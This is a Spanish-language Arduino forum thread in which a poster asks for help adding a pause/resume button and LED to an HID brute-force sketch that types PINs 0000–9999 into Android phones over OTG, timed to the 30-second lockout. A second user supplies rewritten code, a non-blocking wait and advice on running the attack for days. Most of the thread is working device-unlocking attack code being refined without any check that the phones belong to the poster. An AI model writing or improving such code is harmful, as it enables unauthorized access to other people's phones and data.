Ayuda: Boton de Pausa / Continuar.

Hola a todos soy nuevo en éste mundo de Arduino.
Por favor necesito ayuda.

Necesito agregar o modificar el botón que ya está para pausa / continuar.

Es un ataque por fuerza bruta. No lo tengo terminado (porque tengo que agregarle para 5 y 6 dígitos) por ahora funciona hasta 4 dígitos de 0000 a 9999.

Para 5 dígitos demora mas o menos 7 días y para 6 dígitos como 3 meses por éste motivo necesito agregar pausa y continuar. Y cuando esté en pausa encienda un led para indicar que está en modo pausa.

He leído varios tutoriales pero no he tenido suerte con la implementación.

Aca está código. NO es mio. El original es éste.

#include <Keyboard.h>
const int buttonPin = 2;               // input pin for pushbutton
int previousButtonState = HIGH;   // for checking the state of a pushButton
int counter = 0;                         // button push counter
int check = 0;
 
void setup() {
 
  pinMode(buttonPin, INPUT);
 
  Keyboard.begin();
}
 
void loop() {
 
  int buttonState = digitalRead(buttonPin);
  if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
    String three = "000";
    String two = "00";
    String one = "0";
 
    while(counter < 10000){
      delay(1000);

       if (counter < 10 && check == 1) {
              Keyboard.println(three + counter);
              Keyboard.write(KEY_RETURN);
              counter++;
              Keyboard.println(three + counter);
              Keyboard.write(KEY_RETURN);
              counter++;
              Keyboard.println(three + counter);
              Keyboard.write(KEY_RETURN);
              counter++;
              Keyboard.println(three + counter);
              Keyboard.write(KEY_RETURN);
              counter++;
              Keyboard.println(three + counter);
              Keyboard.write(KEY_RETURN);
              delay(500);
              Keyboard.press(KEY_ESC);
              Keyboard.releaseAll();
              delay(31000);
              }
    else if (counter < 100){
              Keyboard.println(two + counter);
              Keyboard.write(KEY_RETURN);
              counter++;
              Keyboard.println(two + counter);
              Keyboard.write(KEY_RETURN);
              counter++;
              Keyboard.println(two + counter);
              Keyboard.write(KEY_RETURN);
              counter++;
              Keyboard.println(two + counter);
              Keyboard.write(KEY_RETURN);
              counter++;
              Keyboard.println(two + counter);
              Keyboard.write(KEY_RETURN);
              delay(500);
              Keyboard.press(KEY_ESC);
              Keyboard.releaseAll();
              delay(31000);
              }
    else if (counter < 1000){
              Keyboard.println(one + counter);
              Keyboard.write(KEY_RETURN);
              counter++;
              Keyboard.println(one + counter);
              Keyboard.write(KEY_RETURN);
              counter++;
              Keyboard.println(one + counter);
              Keyboard.write(KEY_RETURN);
              counter++;
              Keyboard.println(one + counter);
              Keyboard.write(KEY_RETURN);
              counter++;
              Keyboard.println(one + counter);
              Keyboard.write(KEY_RETURN);
              delay(500);
              Keyboard.press(KEY_ESC);
              Keyboard.releaseAll();
              delay(31000);
              }
    else {
              Keyboard.println(counter);
              Keyboard.write(KEY_RETURN);
              counter++;
              Keyboard.println(counter);
              Keyboard.write(KEY_RETURN);
              counter++;
              Keyboard.println(counter);
              Keyboard.write(KEY_RETURN);
              counter++;
              Keyboard.println(counter);
              Keyboard.write(KEY_RETURN);
              counter++;
              Keyboard.println(counter);
              Keyboard.write(KEY_RETURN);
              delay(500);
              Keyboard.press(KEY_ESC);
              Keyboard.releaseAll();
              delay(31000);
              }   
  }       
  }
previousButtonState = buttonState; 
}

Saludos.

A mi me gustaría más verlo así:

#include <Keyboard.h>
const byte buttonPin = 2;               // input pin for pushbutton
const byte ledPausa = 3;
unsigned int counter = 0;                         // button push counter
boolean count = false;
char numero[11]; // Hasta de 10 dígitos

void setup() {

  pinMode(buttonPin, INPUT);
  pinMode(ledPausa, OUTPUT);

  Keyboard.begin();
}

void loop() {

  if (digitalRead(buttonPin)) { // Si pulso el botón (configuración con pull-down)
    count = !count; // Si estaba contando, parar; sino, continuar
    delay(300); // Si eres muy lento para soltar el botón, el cambio de estado enloquece.
    // El delay es para esperar a que sueltes el botón (y por aquello de los rebotes).
  }

  if (count) { // Si debo estar contando...
    digitalWrite(ledPausa, LOW);
    contar(); // Hacerlo y apagar el LED de pausa

  } else {
    digitalWrite(ledPausa, HIGH); // Dejar de contar y prender el LED de pausa
  }
}

void contar() {
  if (counter < 10000) { // Si llega a 10 mil, no hace nada
    sprintf(numero, "%04d", counter); // Convierte counter en un texto de cuatro dígitos (con ceros donde haga falta)
    Keyboard.println(numero);
    Keyboard.write(KEY_RETURN);
    counter++
    if (!(counter % 5)) { // Hacer esto cada 5 tecleadas
      // delay(500) // Vale la pena un delay aquí?
      Keyboard.press(KEY_ESC);
      Keyboard.releaseAll();
      // delay(31000); // Por qué este delay tan largo?
    }
  }
}

Y necesito que respondas a las preguntas:

// delay(500) // Vale la pena un delay aquí?
// delay(31000); // Por qué este delay tan largo?

fuerza bruta para que? que deseas atacar? veo que esperas 1 segundo para probar cada combinación. Realmente es necesario esperar 1 segundo?

Otra buena pregunta también...

Hola a todos, primero gracias por responder. Perdón por demorar con las mías, fue un fin de semana algo agitado.

Para todos Es ataque por fuerza bruta para celulares con android.

Para Lucario448 el delay 500 es para esperar que aparezca una ventana (popup) donde te pide aceptar. después de 5 pines ingresados erroneos, aparece un popup donde dice que hay que esperar 30 seg. para ingresar nuevamente otros 5. Ese delay es para sincronizar los distintos modelos y versiones de android y luego presiona Aceptar.

Delay 31000, justamente agrego un segundo más a la espera de 30 segundos para asegurarme que no se va a ingresar in pin antes de tiempo.

Para carlosjq10 también. Como lo dije al principio " Aca está código. NO es mio. El original es éste. " De verdad no se porque espera un segundo.

Necesito agregar el botón de pausa continuar porque para 4 dígitos se necesitan entre 16 a 18 horas. Yo lo quiero llevar a 5 dígitos (que ya lo tengo armado). Para 5 dígitos se necesitan entre 7 a 8,5 días. No se puede utilizar el modo OTG (para ataque) y carga de batería simultánemente. Una solución sería quitar la batería y alimentar el teléfono directamente, pero en marcas como Motorola y otras quitar la batería es practicamente imposible.

Aclaro por la dudas que es para una Leonardo, por los pines que se pueden usar. Yo tengo armado un pulsador sin rebotes, como éste: http://www.educachip.com/wp-content/uploads/Pulsador-Interruptor-Sin-Rebote.png

Otra cosa que pensé después de hacer el post, es utilizar una llave en lugar del botón, para evitar accidentes.

Si la llave está en ON pasar en OFF continuar.

Aprovecho para saludar a todos.

Esperar sin bloquear el programa (modifica función contar):

void contar() {
  if (espera) // Primero verifico si está en espera de los 31 segundos
    if (millis() - tAnterior >= 31000) // Si pasaron 31 segundos esperando
      espera = false; // Seguir
    else
      return; // No hacer nada


  if (counter < 10000) { // Si llega a 10 mil, no hace nada
    sprintf(numero, "%04d", counter); // Convierte counter en un texto de cuatro dígitos (con ceros donde haga falta)
    Keyboard.println(numero);
    Keyboard.write(KEY_RETURN);
    counter++
    if (!(counter % 5)) { // Hacer esto cada 5 tecleadas
      delay(500);
      Keyboard.press(KEY_ESC);
      Keyboard.releaseAll();
      espera = true; // Es hora de esperar 31 segundos!
      tAnterior = millis(); // Comienza la cuenta
    }
  }
}

Nuevas variables globales:

unsigned long tAnterior; // Momento en que se inició el conteo de 31 segundos
boolean espera = false; // Indica si el contador debe esperar los 31 segundos o no

Nacho_Bauti:
Otra cosa que pensé después de hacer el post, es utilizar una llave en lugar del botón, para evitar accidentes.

Si la llave está en ON pasar en OFF continuar.

void loop() {
  if (digitalRead(llave)) { // Si la llave está en ON
    digitalWrite(ledPausa, LOW);
    contar(); // Hacerlo y apagar el LED de pausa

  } else {
    digitalWrite(ledPausa, HIGH); // Dejar de contar y prender el LED de pausa (llave OFF)
  }
}

Nacho_Bauti:
Necesito agregar el botón de pausa continuar porque para 4 dígitos se necesitan entre 16 a 18 horas.
Yo lo quiero llevar a 5 dígitos (que ya lo tengo armado). Para 5 dígitos se necesitan entre 7 a 8,5 días.

El tiempo requerido crece exponencialmente junto con la cantidad de dígitos.

Si a futuro quisieras llegar a más todavía; toma en cuenta que millis cada 52 días de funcionamiento continuo, se “desborda” (vuelve a cero); por lo cual habría que cambiar un poco el mecanismo de la espera de los 31 segundos.

Gracias nuevamente Lucario448, por el tiempo que te has tomado. Primero en leer mi post y segundo por el código posteado. A la noche lo pruebo a ver como funciona.